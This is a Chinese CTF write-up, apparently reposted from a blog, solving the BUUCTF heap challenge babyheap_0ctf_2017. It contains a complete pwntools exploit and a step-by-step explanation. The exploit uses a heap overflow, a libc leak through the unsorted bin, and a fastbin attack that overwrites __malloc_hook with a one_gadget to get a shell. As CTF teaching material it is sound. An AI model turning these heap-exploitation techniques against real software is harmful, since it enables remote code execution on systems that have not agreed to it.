【PWN系列】 Buucf babyheap_0ctf_2017 Writeup

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

参考网址:

https://www.cnblogs.com/luoleqi/p/12349714.html

分析

参考网址说的已经不错了,主要问题出现在fill功能,只要chunk存在,即可写任意长度的字符。
在这里插入图片描述
主要还是利用fasbin attack和unsorted的特性(下面会说到)来修改__malloc_hook拿到shell。

这里我来实际走一遍exp的流程,下面的exp我用的是本地的libc。

这里我先把exp放出来,之后会分析exp的每一步操作具体干了什么

Exploit

#coding:utf-8
from pwn import *

p = process("./babyheap_0ctf_2017_glibc2.23") 
context.log_level="debug"

def allocate(size):
	p.recvuntil('Command: ')
	p.sendline('1')
	p.recvuntil('Size: ')
	p.sendline(str(size))
 
def fill(idx,content):
	p.recvuntil('Command: ')
	p.sendline('2')
	p.recvuntil('Index: ')
	p.sendline(str(idx))
	p.recvuntil('Size: ')
	p.sendline(str(len(content)))
	p.recvuntil('Content: ')
	p.send(content)
 
def free(idx):
	p.recvuntil('Command: ')
	p.sendline('3')
	p.recvuntil('Index: ')
	p.sendline(str(idx))
 
def dump(idx):
	p.recvuntil('Command: ')
	p.sendline('4')
	p.recvuntil('Index: ')
	p.sendline(str(idx))
	p.recvline()
	return p.recvline()

allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4
free(1)
free(2)

payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)  # 为了后面malloc做准备,绕过检查


allocate(0x10)
allocate(0x10)
fill(1,'aaaabbbb')
fill(2,'bbbbcccc')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

allocate(0x60)
allocate(0x60)

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)
 
allocate(255)
 

p.interactive()
 

Exp分析

下面的代码定义了分配了五个chunk。并且free掉了1和2。

allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4
free(1)
free(2)

1和2是fastbin,所以不会合并。此时内存结构如下。可以发现chunk2的fd指向的是chunk1首地址。下次malloc相同的大小的时候,会先分配chunk2,然后分配chunk1。
在这里插入图片描述

我比较菜,我想看存放结构体的内存地址。只能通过如下方法。

首先执行vmmap命令。可以找到mmap分配的首地址。然后从分配的首地址(0x1b5748c0d000)依次向后查看,这块内存空间应该都是0。只要有数据的地方应该就是存放结构体的地方。
在这里插入图片描述
一直找一直找,然后我找到了结构体的位置,地址为0x1b5748c0dc60
在这里插入图片描述
其实参考链接已经说过了。这里用chunk0来讲解一下。

我把下图当成一个数组,每一个元素都是一个结构体。说白了就是一个结构体数组。
每个结构体有三个元素,第一个元素chunk0的标志位,用来判断该当前结构体是否被使用,如果被使用,则第二个元素是该chunk的大小,第三个元素是chunk的首地址。如果没有被使用,则全部是0。

0x0000000000000001 (chunk0的标志位,1表示该chunk存在) 0x0000000000000010(chunk0的大小)
0x00005640ba838010 (chunk0的地址)
在这里插入图片描述
可以看到为什么chunk1和chunk2全部都是0呢?因为此时我们已经free(1)和free(2)了。


下面代码主要用来修改chunk2的fd指针。根据前面的图片可以看出现在chunk2的fd值是`0x00005640ba838020`
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)

执行代码之后,可以发现将chunk2fd指针的最后一位修改为了80。可以发现此时chunk2的fd指针指向的是chunk4。(大佬的思维真的强。。)

在这里插入图片描述


下面代码主要用来修改chunk4的size。此时chunk4size0x91。主要为了绕过malloc的检查。因为我们之后想在chunk4的地方重新malloc。(如果这里不太懂,就向后看)

payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)  # 为了后面malloc做准备,绕过malloc检查

执行代码之后,可以发现chunk4size变为了0x21


下面的代码用来分配两个chunk,大小都为0x10。还记得我们之前的free(1)free(2)吗?

首先第一个allocate(0x10)会分配到chunk2,因为此时chunk2是free状态的fastbin。

第二个allocate(0x10)会分配到chunk4上面。有人会问为什么不会分配到chunk1,仔细看上面的步骤,我们已经把chunk2的fd指针首位覆盖为了0x80。所以allocate(0x10)才会分配到chunk4上面。

但是malloc的时候会检查size是否和要分配的大小相同,这就是为什么上面代码中我们要把chunk4的size位修改为0x21

此时你会发现一个问题,chunk2和chunk4指向了同一个内存地址

后面两个fill其实没什么实际用处(删掉也行)

allocate(0x10)
allocate(0x10)
fill(1,'aaaabbbb') 
fill(2,'bbbbcccc')

执行代码之后,没有什么变化
在这里插入图片描述
但结构体这里变化了。你会发现chunk2比chunk4指向了同一块内存地址。

在这里插入图片描述


1、fill(3,payload) 其实是将 chunk4size 位变为之前的0x91
2、allocate(0x80) 用来分割top chunk和chunk4,防止堆块合并,因为我们后面要free(4)
3、free(4)之后,chunk4会被放到unsorted bin中。此时chunk4的fd指针是 unsorted bin 链表的头部,这个地址为 main_arena + 0x58

unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,
所以我们得到fd的值,然后再减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。 -----来自参考网址

虽然我们free(4),此时结构体那里应该已经置0了,但我们还可以通过chunk2来泄露chunk4的fd指针,因为chunk2和chunk4是指向的同一块内存地址。

4、dump(2) 用来泄露fd指针,算出libc基址

payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80) 
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00")) - (0x3c4b20 + 0x58)
log.info("libc_base: "+hex(libc_base))

执行代码后如下图
在这里插入图片描述
再看看结构体内存图
在这里插入图片描述

此时我们成功获取libc基址
在这里插入图片描述


1、allocate(0x60) 会从chunk4里分割出来。此时chunk4是unsorted bin。大小为0x80,此时我们需要分配0x60。会从chunk4里分割出来。我们把他定义为chunk6,虽然是chunk6,但是他在结构体数组中的索引为4。

2、free(4) 此时即free(chunk6)。

这两步主要用来将chunk4分离出一个fasbin大小的chunk6,然后再free。chunk6进入fastbin。之后我们可以通过修改chunk2修改chunk6的值,然后再malloc,进行fastbin attack,可以任意地址分配。修改任意内存。

allocate(0x60)
free(4)

执行代码后如下,可以发现chunk4被分为了两部分,我定义上面那部分为chunk6,但是在数组中索引为4。
在这里插入图片描述

之后又free(4)。所以结构体数组中的4还是置0的
在这里插入图片描述


我们现在需要修改__malloc_hook的值。我们先找到__malloc_hook的地址
在这里插入图片描述
然后查看该__malloc_hook附近的内存空间。
在这里插入图片描述
我们想要在这范围内进行malloc,就需要绕过malloc的限制。我们发现附近7f比较多,我们可以找一个内存地址,将7f当为我们要malloc的size位。

例如如下的内存地址,0x7fd25e3b7aed。如果我们在这个地址进行malloc,则size位为0x7f。那我们分配一个0x60大小的chunk,即可绕过malloc的限制。

在这里插入图片描述
我们算出该地址对libc的基址的偏移是0x3c4aed


1、fill(2, payload)修改chunk6的fd指针。fd指针即我们想分配到的内存地址,为libc_base+0x3c4aed
2、第一个allocate(0x60)分配到chunk6。
3、第二个allocate(0x60)会分配到chunk6的fd指针所指向的地址,即libc_base+0x3c4aed

payload = p64(libc_base+0x3c4aed)
fill(2, payload)
allocate(0x60)
allocate(0x60)

由于中间程序断了,又重新运行了一下,不过原理都是一样的,地址可能和上面的不太一样了。

两次allocate(0x60)之后,在结构体数组中索引为6的地方即我们在__malloc_hook附近malloc的地方

在这里插入图片描述
此时我们编辑6,即可编辑__malloc_hook的内存。


下面即编辑__malloc_hook的代码,p8(0)*3p64(0)*2用来内存对齐,libc_base+0x4527a是一个libc中的one_gadget。

在这里插入图片描述

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)

执行代码后,即可修改**__malloc_hook**的值,可以看到已经将__malloc_hook修改为one_gadget了。下次调用malloc或者calloc的时候就可以获得shell。

在这里插入图片描述


获取shell
allocate(255)

buuctf中的libc需要在Buuctf上下载,上面写了是Ubuntu16的64位。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

欢迎一起学习交流,共同进步,欢迎加入信息安全小白群

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/110229798